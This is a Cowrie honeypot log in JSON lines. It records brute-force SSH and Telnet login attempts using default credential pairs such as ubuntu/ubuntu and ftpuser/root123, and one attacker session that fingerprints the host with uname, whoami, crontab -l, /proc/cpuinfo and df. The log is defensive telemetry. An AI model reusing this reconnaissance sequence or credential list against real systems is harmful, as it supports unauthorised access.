{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.585756Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.588361Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.680898Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.908046Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:12.911793Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.004767Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.233831Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.237450Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.330396Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.561307Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.564784Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.656559Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.885622Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.889157Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:13.984392Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.234532Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.237484Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.331079Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.562496Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.566079Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.660229Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.890857Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.894523Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:14.989226Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.222610Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.226322Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.323493Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.550226Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.553629Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.648584Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:15.654218Z","src_ip":"186.113.245.157","session":"c6b745be44b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.14748740196228,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:42:46.489829Z","src_ip":"104.245.105.2","session":"234aa08ddf26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":52414,"dst_ip":"159.203.135.109","dst_port":22,"session":"6183c0a7ed3c","protocol":"ssh","message":"New connection: 186.113.245.157:52414 (159.203.135.109:22) [session: 6183c0a7ed3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:43:15.617470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:43:15.622570Z","src_ip":"186.113.245.157","session":"6183c0a7ed3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:43:15.713507Z","src_ip":"186.113.245.157","session":"6183c0a7ed3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r.","message":"login attempt [ubuntu/1q2w3e4r.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:43:16.109139Z","src_ip":"186.113.245.157","session":"6183c0a7ed3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:43:17.203259Z","src_ip":"186.113.245.157","session":"6183c0a7ed3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":41400,"dst_ip":"159.203.135.109","dst_port":22,"session":"356371904330","protocol":"ssh","message":"New connection: 186.113.245.157:41400 (159.203.135.109:22) [session: 356371904330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:11.719484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:11.726644Z","src_ip":"186.113.245.157","session":"356371904330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:11.819242Z","src_ip":"186.113.245.157","session":"356371904330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"root123","message":"login attempt [ftpuser/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:12.219386Z","src_ip":"186.113.245.157","session":"356371904330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:13.314253Z","src_ip":"186.113.245.157","session":"356371904330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51674,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f754fcc43af","protocol":"ssh","message":"New connection: 2.57.122.238:51674 (10.17.0.5:22) [session: 8f754fcc43af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:13.363815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:13.368461Z","src_ip":"2.57.122.238","session":"8f754fcc43af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:13.473736Z","src_ip":"2.57.122.238","session":"8f754fcc43af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:13.789072Z","src_ip":"2.57.122.238","session":"8f754fcc43af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:14.900814Z","src_ip":"2.57.122.238","session":"8f754fcc43af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56026,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b644c324e79","protocol":"telnet","message":"New connection: 104.245.105.2:56026 (10.17.0.5:23) [session: 3b644c324e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:18.316665Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f13fb57800","protocol":"telnet","message":"New connection: 104.245.105.2:37124 (10.17.0.5:23) [session: b2f13fb57800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:26.125050Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6e5a4e794a","protocol":"telnet","message":"New connection: 104.245.105.2:36228 (10.17.0.5:23) [session: 8f6e5a4e794a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:39.147323Z"}
{"eventid":"cowrie.session.closed","duration":30.987070560455322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:49.303634Z","src_ip":"104.245.105.2","session":"3b644c324e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97117042541504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:44:58.096111Z","src_ip":"104.245.105.2","session":"b2f13fb57800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":58624,"dst_ip":"159.203.135.109","dst_port":22,"session":"58c35a35378b","protocol":"ssh","message":"New connection: 186.113.245.157:58624 (159.203.135.109:22) [session: 58c35a35378b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:08.312134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:08.317402Z","src_ip":"186.113.245.157","session":"58c35a35378b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:08.407911Z","src_ip":"186.113.245.157","session":"58c35a35378b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin1234","message":"login attempt [ftpuser/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:08.804539Z","src_ip":"186.113.245.157","session":"58c35a35378b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:09.899406Z","src_ip":"186.113.245.157","session":"58c35a35378b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.21816921234131,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:12.365388Z","src_ip":"104.245.105.2","session":"8f6e5a4e794a","protocol":"telnet"}
